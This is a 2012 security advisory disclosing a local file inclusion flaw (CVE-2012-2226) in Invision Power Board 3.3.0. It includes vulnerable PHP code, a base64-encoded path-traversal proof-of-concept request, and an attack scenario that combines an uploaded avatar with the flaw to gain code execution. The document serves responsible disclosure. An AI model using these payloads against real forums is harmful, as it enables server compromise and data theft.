[waraxe-2012-SA#086] - Local File Inclusion in Invision Power Board 3.3.0

[come2waraxe@xxxxxxxxx]

[waraxe-2012-SA#086] - Local File Inclusion in Invision Power Board 3.3.0
===============================================================================

Author: Janek Vind "waraxe"
Date: 12. April 2012
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-86.html
CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2226

Description of vulnerable software:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Invision Power Board (abbreviated IPB, IP.Board or IP Board) is an Internet
forum software produced by Invision Power Services, Inc.
It is written in PHP and primarily uses MySQL as a database management system,
although support for other database engines is available.


Vulnerable versions
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Affected are  Invision Power Board versions 3.3.0 and 3.2.3, older versions
may be vulnerable as well.

###############################################################################
1. Local File Inclusion in "like.php" function "_unsubscribe"
###############################################################################

CVE Information:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The Common Vulnerabilities and Exposures (CVE) project has assigned the
name CVE-2012-2226 to this issue. This is a candidate for inclusion in
the CVE list (http://cve.mitre.org/), which standardizes names for
security problems.

Vulnerability Details:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Reason: using unsanitized user submitted data for file operations
Attack vector: user submitted GET parameter "key"
Preconditions:
        1. attacker must be logged in as valid user
        2. PHP must be < 5.3.4 for null-byte attacks to work
Result: remote file disclosure, php remote code execution

Source code snippet from vulnerable script "like.php":
-----------------[ source code start ]---------------------------------
 protected function _unsubscribe()
    {
        /* Fetch data */
        $key = trim( IPSText::base64_decode_urlSafe( $this->request['key'] ) );
        
        list( $app, $area, $relId, $likeMemberId, $memberId, $email ) = 
explode( ';', $key );
        
                /* Member? */
                if ( ! $this->memberData['member_id'] )
                {
                        $this->registry->output->showError( 'no_permission', 
'pcgl-1' );
                }
                
        if ( ! $app || ! $area || ! $relId )
                {
                        $this->registry->output->showError( 'no_permission', 
'pcgl-1' );
                }
                
                if ( ( $memberId != $likeMemberId ) || ( $memberId != 
$this->memberData['member_id'] ) )
                {
                        $this->registry->output->showError( 'no_permission', 
'pcgl-2' );
                }
                
                if ( $email != $this->memberData['email'] )
                {
                        $this->registry->output->showError( 'no_permission', 
'pcgl-3' );
                }
                
                /* Think we're safe... */
                $this->_like = classes_like::bootstrap( $app, $area );
-----------------[ source code end ]-----------------------------------

As seen above, user submitted parameter "key" is first base64 decoded and then
splitted to six variables. After multiple checks function "bootstrap()" is 
called,
using unvalidated user submitted data for arguments.

Source code snippet from vulnerable script "composite.php":
-----------------[ source code start ]---------------------------------
static public function bootstrap( $app=null, $area=null )
        {
..
                if( $area != 'default' )
                {
                        $_file  = IPSLib::getAppDir( $app ) . 
'/extensions/like/' . $area . '.php';
..
                }
..
                if ( ! is_file( $_file ) )
                {
..
                                throw new Exception( "No like class available 
for $app - $area" );
..
                }
..
                $classToLoad = IPSLib::loadLibrary( $_file, $_class, $app );
-----------------[ source code end ]-----------------------------------

We can see, that variable "$_file" is composed using unvalidated argument 
"area".
Next there is check for file existence and in case of success next function,
"loadLibrary", is called, using unvalidated argument "$_file".


Source code snippet from vulnerable script "core.php":
-----------------[ source code start ]---------------------------------
static public function loadLibrary( $filePath, $className, $app='core' )
        {
                /* Get the class */
                if ( $filePath != '' )
                {
                        require_once( $filePath );/*noLibHook*/
                }
-----------------[ source code end ]-----------------------------------

As seen above, "require_once" function is used with unvalidated argument.

Test: we need to construct specific base64 encoded payload.
First, semicolon-separated string:

forums;/../../test;1;1;1;come2waraxe@xxxxxxxxx

Email address and other components must be valid for successful test.

After base64 encoding:

Zm9ydW1zOy8uLi8uLi90ZXN0OzE7MTsxO2NvbWUyd2FyYXhlQHlhaG9vLmNvbQ

Now let's log in as valid user and then issue GET request:

http://localhost/ipb330/index.php?app=core&module=global&section=like
&do=unsubscribe&key=Zm9ydW1zOy8uLi8uLi90ZXN0OzE7MTsxO2NvbWUyd2FyYXhlQHlhaG9vLmNvbQ


Result:

Fatal error: Uncaught exception 'Exception' with message 'No like class 
available
for forums - /../../test' in 
C:\apache_www\ipb330\admin\sources\classes\like\composite.php:333
Stack trace: #0 
C:\apache_www\ipb330\admin\applications\core\modules_public\global\like.php(131):
classes_like::bootstrap('forums', '/../../test')
#1 
C:\apache_www\ipb330\admin\applications\core\modules_public\global\like.php(44):
public_core_global_like->_unsubscribe()
#2 C:\apache_www\ipb330\admin\sources\base\ipsController.php(306):
public_core_global_like->doExecute(Object(ipsRegistry)) #3 
C:\apache_www\ipb330\admin\sources\base\ipsController.php(120): 
ipsCommand->execute(Object(ipsRegistry))
#4 C:\apache_www\ipb330\admin\sources\base\ipsController.php(65): 
ipsController->handleRequest()
#5 C:\apache_www\ipb330\index.php(26): ipsController::run()
#6 {main} thrown in 
C:\apache_www\ipb330\admin\sources\classes\like\composite.php on line 333


Potential attack scenario:

1. Attacker registers to target forum and logs in as valid user
2. Attacker uploads avatar picture with malicious php code to target server
3. Attacker issues carefully crafted GET or POST request and as result gets php 
level access

There are many other ways to exploit LFI (Local File Inclusion) vulnerabilities,
for example by using procfs ("proc/self/environ") on *nix platforms.


How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Update to new version 3.3.1

http://community.invisionpower.com/topic/360518-ipboard-331-ipblog-252-ipseo-152-and-updates-for-ipboard-32x-ipgallery-42x-released/


Disclosure Timeline:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

27.03.2012 Developers contacted via email
28.03.2012 Developers confirmed upcoming patch
11.04.2012 Developers announced new version release
12.04.2012 Advisory released


Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@xxxxxxxxx
Janek Vind "waraxe"

Waraxe forum:  http://www.waraxe.us/forums.html
Personal homepage: http://www.janekvind.com/
Random project: http://albumnow.com/
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